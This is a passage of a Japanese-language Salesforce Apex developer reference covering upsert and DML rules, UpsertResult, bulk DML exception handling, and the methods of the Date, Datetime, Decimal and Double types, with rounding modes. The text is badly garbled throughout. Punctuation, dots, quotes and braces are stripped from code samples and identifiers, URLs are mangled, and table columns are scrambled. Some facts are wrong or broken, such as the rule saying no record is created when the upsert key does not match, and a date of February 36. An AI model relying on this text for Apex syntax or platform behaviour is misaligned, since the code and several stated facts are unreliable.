オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

Upsertが挿入または更新を選ぶ方法

Upsertは新規オブジェクトレコードを作成するか既存のものを更新するか決定するためにsObjectのレコードのプライマリキー または指定されている場合外部ID を使います

bull キーがマッチしない場合新規オブジェクトのレコードは作成されませんbull キーがマッチする場合既存オブジェクトのレコードが更新されますbull キーが複数回マッチする場合はエラーが生成されオブジェクトレコードは挿入も更新もされません

ルールとガイドライン

sObjectレコードを upsert する際は以下のルールとガイドラインを考慮してください

bull 特定のsObjectsは挿入も更新も不可能ですあるsObjectレコードを挿入するにはsObjectのcreateableプロパティをTrueに設定しておく必要がありますあるsObjectレコードを更新するにはsObjectのupdateable

プロパティをTrueに設定しておく必要がありますbull レコードが挿入されるすべての必要フィールドにnullでない値を入力する必要がありますbull sObjectレコードのIDは修正不可能ですが関連レコードIDは修正可能ですこのアクションは更新とし

て解釈されますbull upsertステートメントはLastModifiedDateLastModifiedByIdSystemModstampなどの特定のフィー

ルドを自動的に修正しますApexスクリプトにてこれらの値を明示的に指定することはできませんbull 各upsertステートメントは2つの操作から成ります1つはレコードの挿入で1つはレコードの更新で

すこれらの各操作はinsertとupdateのランタイムリミットにそれぞれ制限されます例えば200を超えるレコードをupsertする場合ですべてが更新中の場合エラーが発生します 実行ガバナと制限を理解するを参照してください

bull upsertステートメントのみが関連sObjectレコードのIDを設定可能です関連レコードのフィールドはupsertでは修正できません例えば既存コンタクトを更新する場合AccountIdフィールドの値を設定することによってコンタクトの関連アカウントレコードを指定可能ですしかしながらアカウント自体を更新せずに別のDMLステートメントを使ってアカウント名を変更することはできません

bull いくつかのsObjectではUpsertはサポートされていませんDML操作をサポートしないsObject (ページ204)を参照してください

bull 参照フィールドとして設定されている場合sObjectレコードをupsertするために外部キーを使用可能です詳細はForcecom Web Services API Developers Guide内のhttpwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmfield_typeshtmを参照してください

UpsertResultオブジェクト

DatabaseUpsertResult オブジェクトの配列はupsertデータベースメソッドで返されますSObject列に関連したUpsertResult列内の各エレメントはupsertデータベースメソッドの sObject[]パラメータの列と一致しますつまりUpsertResult列内の最初のエレメントはsObject列内の最初のエレメントにマッチしますまた 2

参照 Version 180 | Upsert操作 | 201

番目のエレメントは2 番目のエレメントに対応し3 番目以降も同じです1つしかsObjectがパスされない場合UpsertResult列は1つのエレメントしか含みません

UpsertResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

更新または挿入しようとしているsObjectのIDこのフィールドがある値

IDgetId

を含む場合オブジェクトの更新または挿入は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

レコードが作成された場合Trueに設定されたBoolean値レコードが更新された場合False

BooleanisCreated

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

DMLステートメント例

以下の例は更新します以前Bombayとして知られていた都市の中に位置するすべての既存アカウント用に都市名を更新しSan Franciscoに位置する新規アカウントを挿入します

Account[] acctsList = [select id name billingcity from account where billingcity =Bombay] for (Account a acctsList) abillingcity = Mumbai Account newAcct = newAccount(name = Acme billingcity = San Francisco) acctsListadd(newAcct) try upsertacctsList catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

この次の例はアセットと商談ラインアイテムの一対一の関係を保持するためにupsertとAssetオブジェクト上の外部IDフィールド Line_Item_Id__cを使いますupsertを外部IDと一緒に使うことはコード内のDMLステートメントの数を減らしガバナリミットに当たること防ぐことに役立ちます(実行ガバナとリミットを理解するを参照)

参照 Version 180 | Upsert操作 | 202

メモ この例ではLine_Item_Id__cと名づけられたAssetオブジェクト上のカスタムテキストフィールドの追加が必要ですこのフィールドは外部IDとしてフラグ付けされる必要がありますカスタムフィールドに関する詳細はSalesforcecom オンラインヘルプをご覧ください

public void upsertExample() Opportunity opp = [Select Id Name AccountId (Select IdPricebookEntryProduct2Id PricebookEntryName From OpportunityLineItems) From OpportunityWhere HasOpportunityLineItem = true Limit 1]

Asset[] assets = new Asset[]

Create an asset for each line item on the opportunity for (OpportunityLineItemlineItemoppOpportunityLineItems)

This code populates the line item Id AccountId and Product2Id for each asset Asset asset= new Asset(Name = lineItemPricebookEntryName Line_Item_ID__c = lineItemId AccountId= oppAccountId Product2Id = lineItemPricebookEntryProduct2Id)

assetsadd(asset)

try upsert assets Line_Item_ID__c This line upserts the assets list with theLine_Item_Id__c field specified as the Asset field that should be used for matching the record that should be upserted catch (DmlException e) Systemdebug(egetMessage())

DMLステートメント例

以下はデータベースupsertメソッドを使った例です

This class demonstrates and tests the use of the partial processing DML operations

public class dmlSamples

This method accepts a collection of lead records and creates a task for the owner(s) ofany leads that were created as new that is not updated as a result of the upsert operation public static ListltDatabaseupsertResultgt upsertLeads(ListltLeadgt leads)

Perform the upsertIn this case the unique identifier for the insert or update decisionis the Salesforce record ID If the record ID is null the row will be inserted otherwisean update will be attempted ListltDatabaseupsertResultgt uResults =Databaseupsert(leadsfalse)

This is the list for new tasks that will be inserted when new leads are createdListltTaskgt tasks = new ListltTaskgt() for(DatabaseupsertResult resultuResults) if(resultisSuccess() ampamp resultisCreated()) tasksadd(new Task(subject = Follow-up whoId= resultgetId()))

If there are tasks to be inserted insert them Databaseinsert(tasks)

return uResults

public static testMethod void testUpsertLeads() We only need to test the insert sideof upsert ListltLeadgt leads = new ListltLeadgt()

Create a set of leads for testing for(Integer i = 0i lt 100 i++) leadsadd(newLead(lastName = testLead company = testCompany))

Switch to the runtime limit context TeststartTest()

Exercise the method ListltDatabaseupsertResultgt results = DmlSamplesupsertLeads(leads)

Switch back to the test context for limits TeststopTest()

ID set for asserting the tasks were created as expected SetltIdgt ids = new SetltIdgt()

参照 Version 180 | Upsert操作 | 203

Iterate over the results asserting success and adding the new ID to the set for use inthe comprehensive assertion phase below for(DatabaseupsertResult resultresults) Systemassert(resultisSuccess()) idsadd(resultgetId())

Assert that exactly one task exists for each lead that was inserted for(Lead l[selectid (select subject from Tasks) from lead where Id in ids]) SystemassertEquals(1ltaskssize())

DML 操作をサポートしない sObjects

DML操作はApex内の以下のsObjectではサポートされません

bull AccountTerritoryAssignmentRulebull AccountTerritoryAssignmentRuleItembull ApexComponentbull ApexPagebull BusinessHoursbull BusinessProcessbull CategoryNodebull CurrencyTypebull DatedConversionRatebull ProcessInstancebull プロファイルbull RecordTypebull SelfServiceUserbull StaticResourcebull UserAccountTeamMemberbull UserTerritorybull WebLink

Forcecom Web Services API内のこれらのsObjectを作成更新または削除することはできません

DML 操作内で一緒に使用できない sObject

一部の SObject はDML 操作をトランザクションごとに1つのタイプでのみ実行する必要がありますたとえば取引先の挿入ユーザグループグループメンバの挿入は1つのトランザクション内ではできません次の sObjects を 1 つのトランザクション内で同時に使用することはできません

bull Group3

bull GroupMemberbull QueueSObjectbull User4

bull UserRole

3 他の sObjects とともに 1 つのトランザクション内でグループを挿入および更新できます他の DML 操作は使用できません

4roleidが Null として指定されている場合他の sObjects とトランザクション内でユーザを挿入できます

参照 Version 180 | DML 操作をサポートしない sObjects | 204

bull UserTerritorybull テリトリー

重要 主な例外はテスト内でrunAsメソッドを使用している場合です詳細は「システムメソッド」(ページ 285)を参照してください

以下のプロセスを使って1つのクラスで複数タイプのsObjectにおいてDML操作を実行することができます

1 1つのタイプのsObjectにおいてあるDML操作を行うメソッドを作成してください2 二番目のsObjectタイプを操るためのfutureアノテーションを使う二番目のメソッドを作成してください

カスタムコントローラでVisualforceページを使っている場合は1つの要求またはアクションで1つのタイプのObjectにおいてのみDML操作可能ですしかしながら続く要求においてはDML操作を異なるタイプのObjectで実行可能ですたとえば保存ボタンでアカウントを作成した後に送信ボタンでユーザを作成可能です

大量DML例外処理バルク DML 呼び出しの例外処理方法 (トリガ内の再帰的DML操作も含む) は呼び出し元の場所によって異なる処理がされます

bull Apex DMLステートメントから直接発生したバルクDML呼び出しのためにエラーが発生した場合またはデータベースDMLメソッドの all_or_noneパラメータがTrueとして指定されている場合ランタイムエンジンは「オールオアナッシング」ツールに従います1 回の操作の間すべてのレコードを正常に更新する必要がありまたは全体の操作はDMLステートメントの前の時点に即座に戻ります

bull Forcecom Web Services APIから発生したバルクDML呼び出しのせいでエラーが発生した場合ランタイムエンジンは少なくとも部分保存しようとします

1 最初の試行中ランタイムエンジンはすべてのレコードを処理します有効リールや独自のインデックス違反などの問題によるエラーを生成したレコードは除外されます

2 最初の試行中にエラーがある場合ランタイムエンジンはエラーを生成しなかったレコードのみを含む二回目の試行を行います最初の試行中にエラーをい生成しなかったすべてのレコードが処理されレコードがエラーを生成した場合 おそらくレース状態のせいで それも除外されます

3 二回目の試行中に追加エラーがあった場合ランタイムエンジンは初回と二回目にエラーを生成しなかったレコードのみを含む三回目と最後の試行を行いますレコードがエラーを生成した場合全体操作は失敗しエラーメッセージ「Too many batch retries in the presence of Apex triggers and partial failures」が表示されます

メモ二回目と三回目の試行中にガバナ制限は最初の試行の前のオリジナル状態にリセットされます詳細は「実行ガバナーと制限の理解」を参照してください

Apex 標準クラスおよび標準メソッド

Apex にはプリミティブデータ型の式やより複雑なオブジェクト向けの静的メソッドやインスタンスメソッドを含む標準クラスがあります

参照 Version 180 | 大量DML例外処理 | 205

標準静的メソッドは Java に似ており常に次のような形式となります

Classmethod(args)

プリミティブデータ型の標準静的メソッドに暗黙的なパラメータはなくオブジェクトコンテキストを使用せずに呼び出されますたとえば次の式は 175 の値をその他の値を使用せずに最も近い整数に丸めます

MathroundToLong(175)

すべてのインスタンスメソッドはリストセットまたは文字列など特定のデータ型の式に作成されます例

String s = Hello world

Integer i = slength()

メモ メソッドが nullに評価するオブジェクト式で呼び出される場合Apex ランタイムエンジンはNull ポインタの例外を投げます

一部のクラスではそれらのメソッドのグループ化メカニズムとして名前空間を使用しますたとえばmessage

クラスではApexPages 名前空間を使用します

ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesFATAL エラーメッセージ)

Apex 標準クラスは次のカテゴリに分類されます

bull Primitivesbull Collectionsbull Enumbull sObjectbull Systembull 例外

Primitives メソッド

Apex Primitive メソッドApex の多くのプリミティブデータ型にはデータの追加処理に使用できるメソッドがありますメソッドのあるプリミティブは次のとおりです

bull Blobbull Booleanbull Datebull Datetimebull Decimalbull Doublebull Longbull String

参照 Version 180 | Primitives メソッド | 206

bull Time

Blob メソッド

次にBlob のシステム静的メソッドを示します

説明戻り値の型引数名前

指定した String Sを Blob に投入します例

String myString = StringToBlob BlobmyBlob = Blobvalueof(myString)

BlobString SvalueOf

次にBlob のインスタンスメソッドを示します

説明戻り値の型引数名前

blob の文字数を返します例String myString = StringToBlob BlobmyBlob = Blobvalueof(myString) Integersize = myBlobsize()

Integersize

blob を String にキャストしますStringtoString

Blob の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Boolean メソッド

次はBoolean の静的メソッドを示します

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをBoolean に投入しますanyType データ型の詳細

BooleananyTypexvalueOf

は『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

Boolean の詳細は詳細はプリミティブデータ型 (ページ 27)を参照してください

Date メソッド

次にDate のシステム静的メソッドを示します

参照 Version 180 | Apex Primitive メソッド | 207

説明戻り値の型引数名前

指定された yearおよび monthの月の日数を返します (1= 1 月)次の例では1960 年の 2 月のに数を示しています

Integer numberDays =datedaysInMonth(1960 2)

IntegerInteger year

Integer month

daysInMonth

指定したyearがうるう年の場合真を返しますBooleanInteger yearisLeapYear

yearmonth (1= 1 月)dayの Integer 表現からDate を構築します次の例では1960 年 2 月 17日を作成します

Date myDate = datenewinstance(1960 217)

DateInteger year

Integer month

Integer date

newInstance

文字列から Date を構築します文字列の形式はローカルの日付形式によって異なります次の例はいくつかのロケールで機能しますdate mydate = dateparse(12272009)

DateString Dateparse

現在の日付を現在のユーザーのタイムゾーンで返します

Datetoday

指定した String の値を含む Date を返しますStringは現地のタイムゾーンの標準の日付形式「yyyy-MM-dd HHmmss」を使用します例string year = 2008 string month =10 string day = 5 string hour =

DateString svalueOf

12 string minute = 20 stringsecond = 20 string stringDate = year+ - + month + - + day + + hour+ + minute + + second

Date myDate = datevalueOf(stringDate)

データ型 anyType の履歴管理表の項目である xをDate に投入しますanyType データ型の詳細は

DateanyTypexvalueOf

『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

次にDate のインスタンスメソッドを示します

説明戻り値の型引数名前

指定した addlDays数を Date に追加します例

date myDate = datenewInstance(1960 217) date newDate = mydateaddDays(2)

DateInteger addlDaysaddDays

参照 Version 180 | Apex Primitive メソッド | 208

説明戻り値の型引数名前

addlMonthsの指定した数を Date に追加しますDateInteger addlMonthsaddMonths

addlYearsの指定した 数を Date に追加しますDateInteger addlYearsaddYears

Date の day-of-month のコンポーネントを返しますたとえば1999 年 2 月 5 日はday 5 となります

Integerday

Date の day-of-year のコンポーネントを返しますたとえば1999 年 2 月 5 日はday 36 となります

IntegerdayOfYear

メソッドを呼び出した Date と compDateの間の日数を返しますメソッドを呼び出す Date が

IntegerDate compDatedaysBetween

compDateの後に発生する場合戻り値は負となります例

date startDate = datenewInstance(20081 1) date dueDate =datenewInstance(2008 1 30) integernumberDaysDue =startDatedaysBetween(dueDate)

Date を文字列として返しますStringformat

メソッドを呼び出した Date が compDateと同じ場合真を返します例

date myDate = datetoday() date dueDate= datenewInstance(2008 1 30)

BooleanDate compDateisSameDay

boolean dueNow =myDateisSameDay(dueDate)

Date の day-of-month のコンポーネントを返します(1=1 月)

Integermonth

メソッドを呼び出した Date と compDateの間の月数を返します日付の差異は無視されますたと

IntegerDate compDatemonthsBetween

えば同じ年の 3 月 1 日と 3 月 30 日の場合その間の月数は 0 となります

メソッドを呼び出した Date の月の最初の日を返しますたとえば1999 年 7 月 14 日の場合は1999年 7 月 1 日を返します

DatetoStartOfMonth

コンテキストユーザーのロケールに応じてメソッドを呼び出した Date の週の開始日を返しますた

DatetoStartOfWeek

とえばアメリカのロケールでは週は日曜日に始まりヨーロッパでは月曜日に始まります例date myDate = datetoday() dateweekStart = myDatetoStartofWeek()

参照 Version 180 | Apex Primitive メソッド | 209

説明戻り値の型引数名前

Date の year のコンポーネントを返しますIntegeryear

Date の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Datetime メソッド

次にDatetime のシステム静的メソッドを示します

説明戻り値の型引数名前

DateTime を構築し1970 年 1 月 1 日 000000(GMT) 以降の指定したミリ秒数を表すように初期化します

DatetimeLong lnewInstance

ローカルタイムゾーンの dateおよび timeからDateTime を構築します

DatetimeDate Date

Time Time

newInstance

タイムゾーンの0時にyearmonth (1= 1 月)day

の Integer 表現から Datetime を構築します例

datetime myDate =datetimenewInstance(2008 12 1)

DatetimeInteger year

Integer month

Integer day

newInstance

現地のタイムゾーンで yearmonth (1= 1 月)dayhourminuteおよび secondの Integer 表現から Datetime を構築します例

Datetime myDate =datetimenewInstance(2008 12 1 1230 2)

DatetimeInteger year

Integer month

Integer day

Integer hour

Integer minute

Integer second

newInstance

GMT タイムゾーンの dateおよび timeからDateTime を構築します

DatetimeDate date

Time time

newInstanceGmt

GMT タイムゾーンの0時に yearmonth (1= 1月)dayの Integer 表現から Datetime を構築します

DatetimeInteger year

Integer month

Integer date

newInstanceGmt

GMT タイムゾーンで yearmonth (1= 1 月)dayhourminuteおよび secondの Integer 表現から Datetime を構築します

DatetimeInteger year

Integer month

Integer date

newInstanceGmt

Integer hour

Integer minute

Integer second

参照 Version 180 | Apex Primitive メソッド | 210

説明戻り値の型引数名前

GMT カレンダーに基づいて現在の Datetime を返します例datetime myDateTime = datetimenow()

Datetimenow

返される日付の形式はMMDDYYYY HHMM

PERIODです

ローカルタイムゾーンおよび形式の datetimeから DateTime を構築します次の例はいくつかのロケールで機能します

datetime myDateTime = datetimenow()string mydtstring = mydatetimeformat()

DatetimeString datetimeparse

systemassertequals(12272009 1146AM mydtstring)

指定した String の値を含む Datetime を返しますString は現地のタイムゾーンの標準の日付形式「yyyy-MM-dd HHmmss」を使用します例string year = 2008 string month =10 string day = 5 string hour =

DatetimeString svalueOf

12 string minute = 20 stringsecond = 20 string stringDate = year+ - + month + - + day + + hour+ + minute + + second

Datetime myDate =datetimevalueOf(stringDate)

データ型 anyType の履歴管理表の項目である xをDatetime に投入しますanyType データ型の詳細

DatetimeanyTypexvalueOf

は『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

指定した String の値を含む Datetime を返しますString はGMT のタイムゾーンの標準の日付形式「yyyy-MM-dd HHmmss」を使用します

DatetimeString svalueOfGmt

次にDatetime のインスタンスメソッドを示します

説明戻り値の型

引数名前

指定した addlDays数を Datetime に追加します例

datetime myDate = datetimenewInstance(1960 2 17) datetime newDate =mydateaddDays(2)

DatetimeInteger addlDaysaddDays

参照 Version 180 | Apex Primitive メソッド | 211

説明戻り値の型

引数名前

指定した addlHoursの数を Datetime に追加しますDatetimeInteger addlHoursaddHours

指定した addlMinutesの数を Datetime に追加しますDatetimeInteger addlMinutesaddMinutes

指定した addlMonthsの数を Datetime に追加しますDatetimeInteger addlMonthsaddMonths

指定した addlSecondsの数を Datetime に追加しますDatetimeInteger addlSecondsaddSeconds

addlYearsの指定した 数を Datetime に追加しますDatetimeInteger addlYearsaddYears

コンテキストユーザーの現地のタイムゾーンで Datetimeの Date のコンポーネントを返します

Datedate

GMT タイムゾーンで Datetime の Date のコンポーネントを返します

DatedateGMT

コンテキストユーザーの現地のタイムゾーンで Datetimeの day-of-month のコンポーネントを返しますたとえ

Integerday

ば1999 年 2 月 5 日 午前 8 時 30 分 12 秒はday 5 となります

GMT タイムゾーンで Datetime の day-of-month のコンポーネントを返しますたとえば1999 年 2 月 5 日午前 8 時 30 分 12 秒はday 5 となります

IntegerdayGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの day-of-year のコンポーネントを返しますたとえば

IntegerdayOfYear

2008 年 2 月 5 日午前 8 時 30 分 12 秒はday 36 となりますDatetime myDate = datetimenewInstance(2008 2 5 8 30 12) systemassertEquals(myDatedayOfYear() 36)

GMT タイムゾーンで Datetime の day-of-year のコンポーネントを返しますたとえば1999 年 2 月 36 日 午前8 時 30 分 12 秒はday 5 となります

IntegerdayOfYearGmt

現在のユーザーの現地のタイムゾーンを使用してDatetime を文字列として返しますタイムゾーンを指定できない場合はGMT が使用されます

Stringformat

提供された Java の簡単な日付形式と現在のユーザーの現地のタイムゾーンを使用してDatetime を文字列と

StringString dateFormatformat

して返しますタイムゾーンを指定できない場合はGMT が使用されます例datetime myDT = Datetimenow() StringmyDate = myDTformat(hmm a)

Java の簡単な日付形式の詳細はhttpjavasuncomj2se142docsapijavatextSimpleDateFormathtmlを参照してください

参照 Version 180 | Apex Primitive メソッド | 212

説明戻り値の型

引数名前

提供された Java の簡単な日付形式とタイムゾーンを使用してDatetime を文字列として返します提供され

StringString dateFormat

String timezone

format

たタイムゾーンが適切でない場合GMT が使用されます

Java の簡単な日付形式の詳細はhttpjavasuncomj2se142docsapijavatextSimpleDateFormathtmlを参照してください

提供された Java の簡単な日付形式と GMT タイムゾーンを使用してDatetime を文字列として返します

Java の簡単な日付形式の詳細はhttpjavasuncomj2se142docsapijavatextSimpleDateFormathtmlを参照してください

StringString dateFormatformatGmt

秒やタイムゾーンなど現在のユーザーの現地のタイムゾーンを使用してDatetime を文字列として返します

StringformatLong

この DateTime オブジェクトで表された 1970 年 1 月 1日 0 時 0 分 0 秒 (GMT) 以降のミリ秒数を返します

LonggetTime

コンテキストユーザーの現地のタイムゾーンで Datetimeの hour のコンポーネントを返します

Integerhour

GMT タイムゾーンで Datetime の hour のコンポーネントを返します

IntegerhourGmt

コンテキストユーザーの現地のタイムゾーンでメソッドを呼び出した Datetime と compDtが同じ場合真を返します例

datetime myDate = datetimenow() datetimedueDate = datetimenewInstance(2008 1 30)boolean dueNow = myDateisSameDay(dueDate)

BooleanDatetime compDtisSameDay

コンテキストユーザーの現地のタイムゾーンで Datetimeの millisecond のコンポーネントを返します

Integermillisecond

GMT タイムゾーンで Datetime の millisecond のコンポーネントを返します

IntegermillisecondGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの minute のコンポーネントを返します

Integerminute

GMT タイムゾーンで Datetime の minute のコンポーネントを返します

IntegerminuteGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの month のコンポーネントを返します (1=1 月)

Integermonth

参照 Version 180 | Apex Primitive メソッド | 213

説明戻り値の型

引数名前

GMT タイムゾーンで Datetime の month のコンポーネントを返します (1= 1 月)

IntegermonthGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの second のコンポーネントを返します

Integersecond

GMT タイムゾーンで Datetime の second のコンポーネントを返します

IntegersecondGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの time のコンポーネントを返します

Timetime

GMT タイムゾーンで Datetime の time のコンポーネントを返します

TimetimeGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの year のコンポーネントを返します

Integeryear

GMT タイムゾーンで Datetime の year のコンポーネントを返します

IntegeryearGmt

Datetime の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Decimal メソッド

次にDecimal のシステム静的メソッドを示します

説明戻り値の型引数名前

指定した Double の値を含む Decimal を返しますDecimalDouble dvalueOf

指定した Long の値を含む Decimal を返しますDecimalLong lvalueOf

指定した String の値を含む Decimal を返しますJava と同様文字列は署名付きの Decimal を示すものとして解釈されます例String temp = 124567 DecimalmyDecimal = decimalvalueOf(temp)

DecimalString svalueOf

次にDecimal のインスタンスメソッドを示します

説明戻り値の型引数名前

Decimal の絶対値を返しますDecimalabs

参照 Version 180 | Apex Primitive メソッド | 214

説明戻り値の型引数名前

この Decimal を divisorで割りスケールつまり scaleを使用した結果の小数位の数値を設定します次の例でD は 0190 の値を持っています

Decimal D = 19 DDivide(100 3)

DecimalDecimal divisorInteger scale

divide

この Decimal を divisorで割りスケールつまり scaleを使用した結果の小数位の数値を設定し

DecimalDecimal divisorInteger scaleObjectroundingMode

divide

ますそして必要に応じてroundingModeを使用して値を丸めますroundingModeに対して有効な値の詳細は「丸めモード」 (ページ217)例

Decimal myDecimal = 124567 DecimaldivDec = myDecimaldivide (7 2SystemRoundingModeUP)systemassertEquals(divDec 178)

Decimal の Double の値を返しますDoubledoubleValue

指数が必要な場合科学的記数法を使用してこの Decimal の String の値を返します

Stringformat

Decimal の Integer の値を返しますIntegerintValue

Decimal の Long の値を返しますLonglongValue

exponentの指数まで累乗したこの小数の値を返しますexponentの値は -32768 32767 です例

Decimal myDecimal = 412 Decimal powDec= myDecimalpow(2)systemassertEquals(powDec 169744)

DecimalInteger exponentpow

Decimal の桁数を返しますたとえばDecimal の値が 12345 の場合precisionは 5 を返します

Integerprecision

Decimal の値が 123123 の場合precisionは 6を返します例

Decimal D1 = 12345 Integer precision1= D1precision()systemassertEquals(precision1 5)

Decimal D2 = 123123 Integer precision2= D2precision()systemassertEquals(precision2 6)

Decimal の丸められた近似値を返します数値は均等丸めモードを使用して0 の小数位に丸めま

Longround

すつまり2 つの近隣が等距離にない限りは「最

参照 Version 180 | Apex Primitive メソッド | 215

説明戻り値の型引数名前

近隣」に等距離にある場合このモードは均等な近隣に対して丸めますこの丸めモードは統計的に連続する計算に対して繰り返し適用される場合累積エラーを最小化します均等丸めモードの詳細は 「丸めモード」 (ページ 217)を参照してください例

Decimal D1 = 55 Long L1 = D1round()systemassertEquals(L1 6)

Decimal D2= 52 Long L2= D2round()systemassertEquals(L2 5)

Decimal D3= -57 Long L3= D3round()systemassertEquals(L3 -6)

Decimal の丸められた近似値を返します数値はroundingModeで指定された丸めモードを使用し

LongSystemRoundingModeroundingMode

round

て0 の小数位に丸められますroundingModeに対して有効な値の詳細は 「丸めモード」 (ページ 217)

Decimal のスケールつまり小数位の数を返します

Integerscale

必要に応じて均等丸めモードを使用しDecimalのスケールを小数位の指定された数に設定します

DecimalInteger scalesetScale

均等丸めモードは2 つの近隣が等距離にない限りは「最近隣」に等距離にある場合このモードは均等な近隣に丸めます均等丸めモードの詳細は 「丸めモード」 (ページ 217)を参照してくださいscaleの値は -33 33 です

Decimal のスケールを明示的に設定しない場合スケールは Decimal が作成された項目によって指定されます

bull Decimal がクエリの一部として作成される場合スケールはクエリから返される項目のスケールに基づきます

bull Decimal が String から作成される場合スケールは String の小数点の後の文字数となります

bull Decimal が小数以外の数値から作成される場合スケールは数値を String に変換し小数点以下の文字数を指定して決定します

必要に応じて roundingMode で指定された丸めモードを使用しDecimal のスケールを小数位の

DecimalInteger scaleSystemRoundingModeroundingMode

setScale

指定された数に設定しますroundingModeに対

参照 Version 180 | Apex Primitive メソッド | 216

説明戻り値の型引数名前

して有効な値の詳細は 「丸めモード」 (ページ217)scaleの値は -32768 32767 です

Decimal のスケールを明示的に設定しない場合スケールは Decimal が作成された項目によって指定されます

bull Decimal がクエリの一部として作成される場合スケールはクエリから返される項目のスケールに基づきます

bull Decimal が String から作成される場合スケールは String の小数点の後の文字数となります

bull Decimal が小数以外の数値から作成される場合スケールは数値を String に変換し小数点以下の文字数を指定して決定します

後続の 0 を削除した Decimal を返しますDecimalstripTrailingZeros

科学的記数法を使用せずにDecimal の String の値を返します

StringtoPlainString

Decimal の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

丸めモード

丸めモードでは小数部を破棄できる数値演算の丸め動作を指定します各丸めモードでは丸められた結果の返される下位の桁をどのように計算するかを指定します次はroundingModeの有効な値を示します

説明名前

正の無限大に丸めますつまり結果が正の場合このモードはUP丸めモードと同じ動作をします結果が負の場合DOWN丸めモードと同じ動作をしますこの丸めモードで計算された値は小さくなりません例

CEILING

bull 入力値 55 CEILING丸めモードの結果 6bull 入力値 11 CEILING丸めモードの結果 2bull 入力値 -11 CEILING丸めモードの結果 -1bull 入力値 -27 CEILING丸めモードの結果 -2

0 に丸めますこの丸めモードは常に端数 (小数部分) を実行前に破棄しますこの丸めモードを使用しても計算された値の絶対値は大きくなりません例

DOWN

bull 入力値 55 DOWN丸めモードの結果 5bull 入力値 11 DOWN丸めモードの結果 1bull 入力値 -11 DOWN丸めモードの結果 -1bull 入力値 -27 DOWN丸めモードの結果 -2

参照 Version 180 | Apex Primitive メソッド | 217

説明名前

負の無限大に丸めますつまり結果が正の場合このモードはDOWN丸めモードと同じ動作をします結果が負の場合UP丸めモードと同じ動作をしますこの丸めモードで計算された値は大きくなりません例

FLOOR

bull 入力値 55 FLOOR丸めモードの結果 5bull 入力値 11 FLOOR丸めモードの結果 1bull 入力値 -11 FLOOR丸めモードの結果 -2bull 入力値 -27 FLOOR丸めモードの結果 -3

2 つの近隣が等距離にない限りは「最近隣」に丸め等距離にある場合このモードは端数を切り捨てます破棄した端数 (小数部分が) 05 より大きい場合

HALF_DOWN

この丸めモードはUP丸めモードと同じ動作をします05 より小さい場合はDOWN丸めモードと同じ動作をします例bull 入力値 55 HALF_DOWN丸めモードの結果 5bull 入力値 11 HALF_DOWN丸めモードの結果 1bull 入力値 -11 HALF_DOWN丸めモードの結果 -1bull 入力値 -27 HALF_DOWN丸めモードの結果 -2

2 つの近隣が等距離にない限りは「最近隣」に丸め等距離にある場合このモードは均等な近隣に丸めます破棄した端数 (小数部分) の左側の桁が奇数の

HALF_EVEN

場合この丸めモードは HALF_UP丸めモードと同じ動作をします偶数である場合HALF_DOWN丸めメソッドと同じ動作をします例bull 入力値 55 HALF_EVEN丸めモードの結果 6bull 入力値 11 HALF_EVEN丸めモードの結果 1bull 入力値 -11 HALF_EVEN丸めモードの結果 -1bull 入力値 -27 HALF_EVEN丸めモードの結果 -3

この丸めモードは統計的に連続する計算に対して繰り返し適用される場合累積エラーを最小化します

2 つの近隣が等距離にない限りは「最近隣」に丸め等距離にある場合このモードは端数を切り上げます破棄した端数 (小数部分が) 05 以上の場合この

HALF_UP

丸めモードはUP丸めメソッドと同じ動作をします05 以下の場合はDOWN

丸めメソッドと同じ動作をします例bull 入力値 55 HALF_UP丸めモードの結果 6bull 入力値 11 HALF_UP丸めモードの結果 1bull 入力値 -11 HALF_UP丸めモードの結果 -1bull 入力値 -27 HALF_UP丸めモードの結果 -3

要求された演算によって正確な結果が出たことを確認しますつまり丸めは必要ありませんこの丸めモードが正確でない結果を生成する演算に指定されて場合Exception が投げられます例

UNNECESSARY

bull 入力値 55 UNNECESSARY丸めモードの結果 Exceptionbull 入力値 10 UNNECESSARY丸めモードの結果 1

参照 Version 180 | Apex Primitive メソッド | 218

説明名前

0 から遠い方向に丸めますこの丸めモードは常に端数 (小数部分) を実行前に切り捨てますこの丸めモードを使用しても計算された値の絶対値は小さくなりません例

UP

bull 入力値 55 UP丸めモードの結果 6bull 入力値 11 UP丸めモードの結果 2bull 入力値 -11 UP丸めモードの結果 -2bull 入力値 -27 UP丸めモードの結果 -3

Double メソッド

次にDouble のシステム静的メソッドを示します

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをDouble に投入しますanyType データ型の詳細は

DoubleanyTypexvalueOf

『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

指定した String の値を含む Double を返しますJava と同様String は署名付きの Double を示すものとして解釈されます例Double DD1 = doublevalueOf(314159)

DoubleString svalueOf

次にDouble のインスタンスメソッドを示します

説明戻り値の型引数名前

この Double の文字列値を返しますStringformat

Double の Integer の値を Integer に投入して返します例Double DD1 = doublevalueOf(314159)Integer value = DD1intValue()systemassertEquals(value 3)

